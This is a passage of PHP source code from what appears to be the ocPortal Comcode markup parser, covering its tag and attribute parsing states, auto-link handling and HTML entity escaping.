conditions\n\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t$embed_output=mixed();\n\t\t\t\t\t\t\t\t\t\t\t\t$link_handlers=find_all_hooks('systems','comcode_link_handlers');\n\t\t\t\t\t\t\t\t\t\t\t\tforeach (array_keys($link_handlers) as $link_handler)\n\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\trequire_code('hooks/systems/comcode_link_handlers/'.$link_handler);\n\t\t\t\t\t\t\t\t\t\t\t\t\t$link_handler_ob=object_factory('Hook_comcode_link_handler_'.$link_handler,true);\n\t\t\t\t\t\t\t\t\t\t\t\t\tif (is_null($link_handler_ob)) continue;\n\t\t\t\t\t\t\t\t\t\t\t\t\t$embed_output=$link_handler_ob->bind($auto_link,$link_captions_title,$comcode_dangerous,$pass_id,$pos,$source_member,$as_admin,$connection,$comcode,$wml,$structure_sweep,$semiparse_mode,$highlight_bits);\n\t\t\t\t\t\t\t\t\t\t\t\t\tif (!is_null($embed_output)) break;\n\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\tif (is_null($embed_output))\n\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t$page_link=url_to_pagelink($auto_link,true);\n\t\t\t\t\t\t\t\t\t\t\t\t\tif ($link_captions_title=='') $link_captions_title=$auto_link;\n\t\t\t\t\t\t\t\t\t\t\t\t\tif ($page_link!='')\n\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t$embed_output=_do_tags_comcode('page',array('param'=>$page_link),make_string_tempcode(escape_html($link_captions_title)),$comcode_dangerous,$pass_id,$pos,$source_member,$as_admin,$connection,$comcode,$wml,$structure_sweep,$semiparse_mode,$highlight_bits);\n\t\t\t\t\t\t\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t$embed_output=_do_tags_comcode('url',array('param'=>$link_captions_title),$auto_link_tempcode,$comcode_dangerous,$pass_id,$pos,$source_member,$as_admin,$connection,$comcode,$wml,$structure_sweep,$semiparse_mode,$highlight_bits);\n\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t} else $embed_output=new ocp_tempcode();\n\t\t\t\t\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($continuation);\n\t\t\t\t\t\t\t\t\t\t\t$tag_output->attach($continuation);\n\t\t\t\t\t\t\t\t\t\t\t$continuation='';\n\t\t\t\t\t\t\t\t\t\t\t$tag_output->attach($embed_output);\n\t\t\t\t\t\t\t\t\t\t\t$pos+=$link_end_pos-$pos;\n\t\t\t\t\t\t\t\t\t\t\t$differented=true;\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tif (!$differented)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif (($stupidity_mode!='') && ($textual_area))\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tif (($stupidity_mode=='leet') && (mt_rand(0,1)==1))\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\tif (array_key_exists(strtoupper($next),$LEET_FILTER)) $next=$LEET_FILTER[strtoupper($next)];\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\telseif (($stupidity_mode=='bork') && (mt_rand(0,60)==1))\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$next.='-bork-bork-bork-';\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tif ((!$in_separate_parse_section) && ((!$in_semihtml) || ((!$comcode_dangerous_html)/*If we don't support HTML and we haven't done the all_semihtml pre-filter at the top*/ && (!$is_all_semihtml)))) // Display char. We try and support entities\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tif ($next=='&')\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$ahead=substr($comcode,$pos,20);\n\t\t\t\t\t\t\t\t\t\t$ahead_lower=strtolower($ahead);\n\t\t\t\t\t\t\t\t\t\t$matches=array();\n\t\t\t\t\t\t\t\t\t\t$entity=preg_match('#^(\\#)?([\\w]*);#',$ahead_lower,$matches)!=0; // If it is a SAFE entity, use it\n\n\t\t\t\t\t\t\t\t\t\tif (($entity) && (!$in_code_tag))\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\tif (($matches[1]=='') && (($in_semihtml) || (isset($ALLOWED_ENTITIES[$matches[2]]))))\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t$pos+=strlen($matches[2])+1;\n\t\t\t\t\t\t\t\t\t\t\t\t$continuation.='&'.$matches[2].';';\n\t\t\t\t\t\t\t\t\t\t\t} elseif ((is_numeric($matches[2])) && ($matches[1]=='#'))\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t$matched_entity=intval(base_convert($matches[2],16,10));\n\t\t\t\t\t\t\t\t\t\t\t\tif (($matched_entity<127) && (array_key_exists(chr($matched_entity),$POTENTIAL_JS_NAUGHTY_ARRAY)))\n\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t$continuation.=escape_html($next);\n\t\t\t\t\t\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t\t$pos+=strlen($matches[2])+2;\n\t\t\t\t\t\t\t\t\t\t\t\t\t$continuation.='&#'.$matches[2].';';\n\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t\t$continuation.='&amp;';\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t\t$continuation.='&amp;';\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$continuation.=escape_html($next);\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t} else\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$continuation.=$next;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\tcase CCP_IN_TAG_NAME:\n\t\t\t\tif (($mindless_mode) && ($next!='[')) $tag_raw.=($next);\n\n\t\t\t\tif ($next=='=')\n\t\t\t\t{\n\t\t\t\t\t$status=CCP_IN_TAG_BETWEEN_ATTRIBUTE_NAME_VALUE_RIGHT;\n\t\t\t\t\t$current_attribute_name='param';\n\t\t\t\t}\n\t\t\t\telseif (trim($next)=='')\n\t\t\t\t{\n\t\t\t\t\t$status=CCP_IN_TAG_BETWEEN_ATTRIBUTES;\n\t\t\t\t}\n\t\t\t\telseif ($next=='[')\n\t\t\t\t{\n\t\t\t\t\tif (!$lax) return comcode_parse_error($preparse_mode,array('CCP_TAG_OPEN_ANOMALY'),$pos,$comcode,$check_only);\n\n\t\t\t\t\t$next=']';\n\t\t\t\t\t$pos--;\n\t\t\t\t}\n\t\t\t\tif ($next==']')\n\t\t\t\t{\n\t\t\t\t\tif ($close)\n\t\t\t\t\t{\n\t\t\t\t\t\tif ($formatting_allowed)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tlist($close_list,$list_indent)=_close_open_lists($list_indent,$list_type);\n\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($close_list);\n\t\t\t\t\t\t\t$tag_output->attach($close_list);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif (count($tag_stack)==0)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif ($lax)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$status=CCP_NO_MANS_LAND;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\treturn comcode_parse_error($preparse_mode,array('CCP_NO_CLOSE',$current_tag),strrpos(substr($comcode,0,$pos),'['),$comcode,$check_only);\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$has_it=false;\n\t\t\t\t\t\tforeach (array_reverse($tag_stack) as $t)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif ($t[0]==$current_tag)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$has_it=true;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif (($in_semihtml) && (($current_tag=='html') || ($current_tag=='semihtml'))) // Only search one level for this\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif ($has_it)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$_last=array_pop($tag_stack);\n\t\t\t\t\t\t\tif ($_last[0]!=$current_tag)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif (!$lax)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\treturn comcode_parse_error($preparse_mode,array('CCP_NO_CLOSE_MATCH',$current_tag,$_last[0]),$pos,$comcode,$check_only);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tdo\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$embed_output=_do_tags_comcode($_last[0],$_last[1],$tag_output,$comcode_dangerous,$pass_id,$pos,$source_member,$as_admin,$connection,$comcode,$wml,$structure_sweep,$semiparse_mode,NULL,NULL,$in_semihtml,$is_all_semihtml);\n\t\t\t\t\t\t\t\t\t$in_code_tag=false;\n\t\t\t\t\t\t\t\t\t$white_space_area=$_last[3];\n\t\t\t\t\t\t\t\t\t$in_separate_parse_section=$_last[4];\n\t\t\t\t\t\t\t\t\t$formatting_allowed=$_last[5];\n\t\t\t\t\t\t\t\t\t$textual_area=$_last[6];\n\t\t\t\t\t\t\t\t\t$tag_output=$_last[2];\n\t\t\t\t\t\t\t\t\t$tag_output->attach($embed_output);\n\t\t\t\t\t\t\t\t\t$mindless_mode=$_last[7];\n\t\t\t\t\t\t\t\t\t$comcode_dangerous=$_last[8];\n\t\t\t\t\t\t\t\t\t$comcode_dangerous_html=$_last[9];\n\n\t\t\t\t\t\t\t\t\tif (count($tag_stack)==0) // Hmm, it was never open. So let's pretend this tag close never happened\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$status=CCP_NO_MANS_LAND;\n\t\t\t\t\t\t\t\t\t\tbreak 2;\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t$_last=array_pop($tag_stack);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\twhile ($_last[0]!=$current_tag);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} else\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$extraneous_semihtml=((!$is_all_semihtml) && (!$in_semihtml)) || (($current_tag!='html') && ($current_tag!='semihtml'));\n\t\t\t\t\t\t\tif ((!$lax) && ($extraneous_semihtml))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$_last=array_pop($tag_stack);\n\t\t\t\t\t\t\t\treturn comcode_parse_error($preparse_mode,array('CCP_NO_CLOSE_MATCH',$current_tag,$_last[0]),$pos,$comcode,$check_only);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t$status=CCP_NO_MANS_LAND;\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// Do the comcode for this tag\n\t\t\t\t\t\tif ($in_semihtml) // We need to perform some magic to clean up the Comcode sections\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tforeach ($_last[1] as $index=>$conv)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$_last[1][$index]=@html_entity_decode(str_replace('<br />',chr(10),$conv),ENT_QUOTES,get_charset());\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t$mindless_mode=$_last[7];\n\n\t\t\t\t\t\tif ($mindless_mode)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$embed_output=$tag_output;\n\t\t\t\t\t\t}\n\t\t\t\t\t\telseif (!$check_only)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$_structure_sweep=false;\n\t\t\t\t\t\t\tif ($structure_sweep)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$_structure_sweep=!in_tag_stack($tag_stack,array('title'));\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t$embed_output=_do_tags_comcode($_last[0],$_last[1],$tag_output,$comcode_dangerous,$pass_id,$pos,$source_member,$as_admin,$connection,$comcode,$wml,$_structure_sweep,$semiparse_mode,$highlight_bits,NULL,$in_semihtml,$is_all_semihtml);\n\t\t\t\t\t\t} else $embed_output=new ocp_tempcode();\n\n\t\t\t\t\t\t$in_code_tag=false;\n\t\t\t\t\t\t$white_space_area=$_last[3];\n\t\t\t\t\t\t$in_separate_parse_section=$_last[4];\n\t\t\t\t\t\t$formatting_allowed=$_last[5];\n\t\t\t\t\t\t$textual_area=$_last[6];\n\t\t\t\t\t\t$tag_output=$_last[2];\n\t\t\t\t\t\t$comcode_dangerous=$_last[8];\n\t\t\t\t\t\t$comcode_dangerous_html=$_last[9];\n\t\t\t\t\t\tif (($print_mode) && ($_last[0]=='exp_thumb'))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$queued_tempcode->attach($embed_output);\n\t\t\t\t\t\t} else\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$tag_output->attach($embed_output);\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$just_ended=isset($BLOCK_TAGS[$current_tag]);\n\n\t\t\t\t\t\tif ($current_tag=='title')\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif ((strlen($comcode)>$pos+1) && ($comcode[$pos]==chr(10)) && ($comcode[$pos+1]==chr(10))) // Linux newline\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$NUM_LINES+=2;\n\t\t\t\t\t\t\t\t$pos+=2;\n\t\t\t\t\t\t\t\t$just_new_line=true;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif ($current_tag=='html') $in_html=false;\n\t\t\t\t\t\telseif ($current_tag=='semihtml') $in_semihtml=false;\n\t\t\t\t\t\t$status=CCP_NO_MANS_LAND;\n\t\t\t\t\t} else\n\t\t\t\t\t{\n\t\t\t\t\t\tif ($current_tag=='title')\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$just_new_line=false;\n\t\t\t\t\t\t\tlist($close_list,$list_indent)=_close_open_lists($list_indent,$list_type);\n\t\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($close_list);\n\t\t\t\t\t\t\t$tag_output->attach($close_list);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tarray_push($tag_stack,array($current_tag,$attribute_map,$tag_output,$white_space_area,$in_separate_parse_section,$formatting_allowed,$textual_area,$mindless_mode,$comcode_dangerous,$comcode_dangerous_html));\n\n\t\t\t\t\t\tlist($tag_output,$comcode_dangerous,$comcode_dangerous_html,$white_space_area,$formatting_allowed,$in_separate_parse_section,$textual_area,$attribute_map,$status,$in_html,$in_semihtml,$pos,$in_code_tag)=_opened_tag($mindless_mode,$as_admin,$source_member,$attribute_map,$current_tag,$pos,$comcode_dangerous,$comcode_dangerous_html,$in_separate_parse_section,$in_html,$in_semihtml,$close,$len,$comcode);\n\t\t\t\t\t\tif ($in_code_tag) $code_nest_stack=0;\n\t\t\t\t\t}\n\n\t\t\t\t\t$tag_output->attach($tag_raw);\n\n\t\t\t\t\tif (($close) && ($mindless_mode))\n\t\t\t\t\t{\n\t\t\t\t\t\t$temp_tpl='</kbd>&#8203;';\n\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($temp_tpl);\n\t\t\t\t\t\t$tag_output->attach($temp_tpl);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telseif ($status==CCP_IN_TAG_NAME) $current_tag.=strtolower($next);\n\t\t\t\tbreak;\n\t\t\tcase CCP_STARTING_TAG:\n\t\t\t\tif (($mindless_mode) && ($next!='[')) $tag_raw.=($next);\n\n\t\t\t\tif ($next=='[') // Can't actually occur though\n\t\t\t\t{\n\t\t\t\t\tif (!$lax) return comcode_parse_error($preparse_mode,array('CCP_TAG_OPEN_ANOMALY'),$pos,$comcode,$check_only);\n\n\t\t\t\t\t$status=CCP_NO_MANS_LAND;\n\t\t\t\t\t$pos--;\n\t\t\t\t}\n\t\t\t\telseif ($next==']') // Can't actual occur though\n\t\t\t\t{\n\t\t\t\t\tif (!$lax) return comcode_parse_error($preparse_mode,array('CCP_TAG_CLOSE_ANOMALY'),$pos,$comcode,$check_only);\n\n\t\t\t\t\t$status=CCP_NO_MANS_LAND;\n\t\t\t\t}\n\t\t\t\telseif ($next=='/')\n\t\t\t\t{\n\t\t\t\t\t$close=true;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$current_tag.=strtolower($next);\n\t\t\t\t\t$status=CCP_IN_TAG_NAME;\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\tcase CCP_IN_TAG_BETWEEN_ATTRIBUTES:\n\t\t\t\tif (($mindless_mode) && ($next!='[')) $tag_raw.=($next);\n\n\t\t\t\tif ($next==']')\n\t\t\t\t{\n\t\t\t\t\tif ($current_tag=='title')\n\t\t\t\t\t{\n\t\t\t\t\t\t$just_new_line=false;\n\t\t\t\t\t\tlist($close_list,$list_indent)=_close_open_lists($list_indent,$list_type);\n\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($close_list);\n\t\t\t\t\t\t$tag_output->attach($close_list);\n\t\t\t\t\t}\n\n\t\t\t\t\tarray_push($tag_stack,array($current_tag,$attribute_map,$tag_output,$white_space_area,$in_separate_parse_section,$formatting_allowed,$textual_area,$mindless_mode,$comcode_dangerous,$comcode_dangerous_html));\n\n\t\t\t\t\tlist($tag_output,$comcode_dangerous,$comcode_dangerous_html,$white_space_area,$formatting_allowed,$in_separate_parse_section,$textual_area,$attribute_map,$status,$in_html,$in_semihtml,$pos,$in_code_tag)=_opened_tag($mindless_mode,$as_admin,$source_member,$attribute_map,$current_tag,$pos,$comcode_dangerous,$comcode_dangerous_html,$in_separate_parse_section,$in_html,$in_semihtml,$close,$len,$comcode);\n\t\t\t\t\tif ($in_code_tag) $code_nest_stack=0;\n\n\t\t\t\t\t$tag_output->attach($tag_raw);\n\t\t\t\t}\n\t\t\t\telseif ($next=='[')\n\t\t\t\t{\n\t\t\t\t\tif (!$lax) return comcode_parse_error($preparse_mode,array('CCP_TAG_OPEN_ANOMALY'),$pos,$comcode,$check_only);\n\n\t\t\t\t\tif ($current_tag=='title')\n\t\t\t\t\t{\n\t\t\t\t\t\t$just_new_line=false;\n\t\t\t\t\t\tlist($close_list,$list_indent)=_close_open_lists($list_indent,$list_type);\n\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($close_list);\n\t\t\t\t\t\t$tag_output->attach($close_list);\n\t\t\t\t\t}\n\n\t\t\t\t\tarray_push($tag_stack,array($current_tag,$attribute_map,$tag_output,$white_space_area,$in_separate_parse_section,$formatting_allowed,$textual_area,$mindless_mode,$comcode_dangerous,$comcode_dangerous_html));\n\n\t\t\t\t\tlist($tag_output,$comcode_dangerous,$comcode_dangerous_html,$white_space_area,$formatting_allowed,$in_separate_parse_section,$textual_area,$attribute_map,$status,$in_html,$in_semihtml,$pos,$in_code_tag)=_opened_tag($mindless_mode,$as_admin,$source_member,$attribute_map,$current_tag,$pos,$comcode_dangerous,$comcode_dangerous_html,$in_separate_parse_section,$in_html,$in_semihtml,$close,$len,$comcode);\n\t\t\t\t\tif ($in_code_tag) $code_nest_stack=0;\n\n\t\t\t\t\t$tag_output->attach($tag_raw);\n\n\t\t\t\t\t$pos--;\n\t\t\t\t}\n\t\t\t\telseif (trim($next)!='')\n\t\t\t\t{\n\t\t\t\t\t$status=CCP_IN_TAG_ATTRIBUTE_NAME;\n\t\t\t\t\t$current_attribute_name=$next;\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\tcase CCP_IN_TAG_ATTRIBUTE_NAME:\n\t\t\t\tif (($mindless_mode) && ($next!='[')) $tag_raw.=($next);\n\n\t\t\t\tif ($next=='[')\n\t\t\t\t{\n\t\t\t\t\t$status=CCP_NO_MANS_LAND;\n\t\t\t\t\t$pos--;\n\t\t\t\t\tif (!$lax) return comcode_parse_error($preparse_mode,array('CCP_TAG_OPEN_ANOMALY'),$pos,$comcode,$check_only);\n\n\t\t\t\t\tif ($current_tag=='title')\n\t\t\t\t\t{\n\t\t\t\t\t\t$just_new_line=false;\n\t\t\t\t\t\tlist($close_list,$list_indent)=_close_open_lists($list_indent,$list_type);\n\t\t\t\t\t\tif ($GLOBALS['XSS_DETECT']) ocp_mark_as_escaped($close_list);\n\t\t\t\t\t\t$tag_output->attach($close_list);\n\t\t\t\t\t}\n\n\t\t\t\t\tarray_push($tag_stack,array($current_tag,$attribute_map,$tag_output,$white_space_area,$in_separate_parse_section,$formatting_allowed,$textual_area,$mindless_mode,$comcode_dangerous,$comcode_dangerous_html));\n\n\t\t\t\t\tlist($tag_output,$comcode_dangerous,$comcode_dangerous_html,$white_space_area,$formatting_allowed,$in_separate_parse_section,$textual_area,$attribute_map,$status,$in_html,$in_semihtml,$pos,$in_code_tag)=_opened_tag($mindless_mode,$as_admin,$source_member,$attribute_map,$current_tag,$pos,$comcode_dangerous,$comcode_dangerous_html,$in_separate_parse_section,$in_html,$in_semihtml,$close,$len,$comcode);\n\t\t\t\t\tif ($in_code_tag) $code_nest_stack=0;\n\n\t\t\t\t\t$tag_output->attach($tag_raw);\n\t\t\t\t}\n\t\t\t\telseif ($next==']')\n\t\t\t\t{\n\t\t\t\t\tif (($attribute_map==array()) && (!$lax))\n\t\t\t\t\t{\n\t\t\t\t\t\treturn comcode_parse_error($preparse_mode,array('CCP_TAG_CLOSE_ANOMALY'),$pos,$comcode,$check_only);\n\t\t\t\t\t}\n\n\t\t\t\t\tif ($attribute_map!=array())\n\t\t\t\t\t{\n\t\t\t\t\t\t$at_map_keys=array_keys($attribute_map);\n\t\t\t\t\t\t$old_attribute_name=$at_map_keys[count($at_map_keys)-1];\n\t\t\t\t\t\t$attribute_map[$old_attribute_name].=' '.$current_attribute_name;\n\t\t\t\t\t}\n\n\t\t\t\t\tarray_push($tag_stack,array($current_tag,$attribute_map,$tag_output,$white_space_area,$in_separate_parse_section,$formatting_allowed,$textual_area,$mindless_mode,$comcode_dangerous,$comcode_dangerous_html));\n\n\t\t\t\t\tlist($tag_output,$comcode_dangerous,$comcode_dangerous_html,$white_space_area,$formatting_allowed,$in_separate_parse_section,$textual_area,$attribute_map,$status,$in_html,$in_semihtml,$pos,$in_code_tag)=_opened_tag($mindless_mode,$as_admin,$source_member,$attribute_map,$current_tag,$pos,$comcode_dangerous,$comcode_dangerous_html,$in_separate_parse_section,$in_html,$in_semihtml,$close,$len,$comcode);\n\t\t\t\t\tif ($in_code_tag) $code_nest_stack=0;\n\n\t\t\t\t\t$tag_output->attach($tag_raw);\n\t\t\t\t}\n\t\t\t\telseif ($next=='=') $status=CCP_IN_TAG_BETWEEN_ATTRIBUTE_NAME_VALUE_RIGHT;\n\t\t\t\telseif ($next!=' ') $current_attribute_name.=strtolower($next);\n\t\t\t\telse $status=CCP_IN_TAG_BETWEEN_ATTRIBUTE_NAME_VALUE_LEFT;\n\t\t\t\tbreak;\n\t\t\tcase CCP_IN_TAG_BETWEEN_ATTRIBUTE_NAME_VALUE_LEFT:\n\t\t\t\tif (($mindless_mode) && ($next!='[') && ($next!=']')) $tag_raw.=($next);\n\n\t\t\t\tif ($next=='=') $status=CCP_IN_TAG_BETWEEN_ATTRIBUTE_NAME_VALUE_RIGHT;\n\t\t\t\telseif (trim($next)!='')\n\t\t\t\t{\n\t\t\t\t\tif (!$lax) return comcode_parse_error($preparse_mode,array('CCP_ATTRIBUTE_ERROR',$current_attribute_name,$current_tag),$pos,$comcode,$check_only);\n\n\t\t\t\t\tif ($next=='[')\n\t\t\t\t\t{\n\t\t\t\t\t\t$status=CCP_IN_TAG_BETWEEN_ATTRIBUTES;\n\t\t\t\t\t\t$pos--;\n\t\t\t\t\t}\n\t\t\t\t\telseif ($next==']')\n\t\t\t\t\t{\n\t\t\t\t\t\t$status=CCP_IN_TAG_BETWEEN_ATTRIBUTES;\n\t\t\t\t\t\t$pos--;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\tcase CCP_IN_TAG_BETWEEN_ATTRIBUTE_NAME_VALUE_RIGHT:\n\t\t\t\tif (($mindless_mode) && ($next!='[') && ($next!=']')) $tag_raw.=($next);\n\n\t\t\t\tif ($next=='[') // Can't actually occur though\n\t\t\t\t{\n\t\t\t\t\tif (!$lax) return comcode_parse_error($preparse_mode,array('CCP_TAG_OPEN_ANOMALY'),$pos,$comcode,$check_only);\n\n\t\t\t\t\t$status=CCP_IN_TAG_BETWEEN_ATTRIBUTES;\n\t\t\t\t\t$pos--;\n\t\t\t\t}\n\t\t\t\telseif ($next==']') // Can't actually occur though\n\t\t\t\t{\n\t\t\t\t\tif (!$lax) return comcode_parse_error($preparse_mode,array('CCP_TAG_CLOSE_ANOMALY'),$pos,$comcode,$check_only);\n\n\t\t\t\t\t$status=CCP_IN_TAG_BETWEEN_ATTRIBUTES;\n\t\t\t\t\t$pos--;\n\t\t\t\t}\n\t\t\t\telseif ((($next=='\"')/* && (!$in_semihtml)*/) || (($in_semihtml) && (substr($comcode,$pos-1,6)=='&quot;')))\n\t\t\t\t{\n\t\t\t\t\tif ($next!='\"')\n\t\t\t\t\t{\n\t\t\t\t\t\t$pos+=5;\n\t\t\t\t\t\tif ($mindless_mode) $tag_raw.='quot;';\n\t\t\t\t\t}\n\t\t\t\t\t$status=CCP_IN_TAG_ATTRIBUTE_VALUE;\n\t\t\t\t\t$current_attribute_value='';\n\t\t\t\t}\n\t\t\t\telseif ($next!='')\n\t\t\t\t{\n\t\t\t\t\t$status=CCP_IN_TAG_ATTRIBUTE_VALUE_NO_QUOTE;\n\t\t\t\t\t$current_attribute_value=$next;\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\tcase CCP_IN_TAG_ATTRIBUTE_VALUE_NO_QUOTE:\n\t\t\t\tif (($mindless_mode) && ($next!=']')) $tag_raw.=($next);\n\n\t\t\t\tif ($next==' ')\n\t\t\t\t{\n\t\t\t\t\t$status=CCP_IN_TAG_BETWEEN_ATTRIBUTES;\n\t\t\t\t\tif ((isset($attribute_map[$current_attribute_name])) && (!$lax)) return comcode_parse_error($preparse_mode,array('CCP_DUPLICATE_ATTRIBUTES',$current_attribute_name,$current_tag),$pos,$comcode,$check_only);\n\t\t\t\t\t$attribute_map[$current_attribute_name]=$current_attribute_value;\n\t\t\t\t}\n\t\t\t\telseif ($next==']')\n\t\t\t\t{\n\t\t\t\t\tif ((isset($attribute_map[$current_attribute_name])) && (!$lax)) return comcode_parse_error($preparse_mode,array('CCP_DUPLICATE_ATTRIBUTES',$current_attribute_name,$current_tag),$pos,$comcode,$check_only);\n\n\t\t\t\t\t$status=CCP_IN_TAG_BETWEEN_ATTRIBUTES;\n\t\t\t\t\t$attribute_map[$current_attribute_name]=$current_attribute_value;\n\t\t\t\t\t$pos--;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$current_attribute_value.=$next;\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\tcase CCP_IN_TAG_ATTRIBUTE_VALUE:\n\t\t\t\tif ($mindless_mode) $tag_raw.=($next);\n\n\t\t\t\tif ((($next=='\"')/* && (!$in_semihtml)*/) || (($in_semihtml) && (substr($comcode,$pos-1,6)=='&quot;')))\n\t\t\t\t{\n\t\t\t\t\tif ($next!='\"')\n\t\t\t\t\t{\n\t\t\t\t\t\t$pos+=5;\n\t\t\t\t\t\tif ($mindless_mode) $tag_raw.='quot;';\n\t\t\t\t\t}\n\t\t\t\t\t$status=CCP_IN_TAG_BETWEEN_ATTRIBUTES;\n\t\t\t\t\tif ((isset($attribute_map[$current_attribute_name])) && (!$lax)) return comcode_parse_error($preparse_mode,array('CCP_DUPLICATE_ATTRIBUTES',$current_attribute_name,$current_tag),$pos,$comcode,$check_only);\n\t\t\t\t\t$attribute_map[$current_attribute_name]=$current_attribute_value;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tif ($next=='\\\\')\n\t\t\t\t\t{\n\t\t\t\t\t\tif ($comcode[$pos]=='\"')\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif ($mindless_mode) 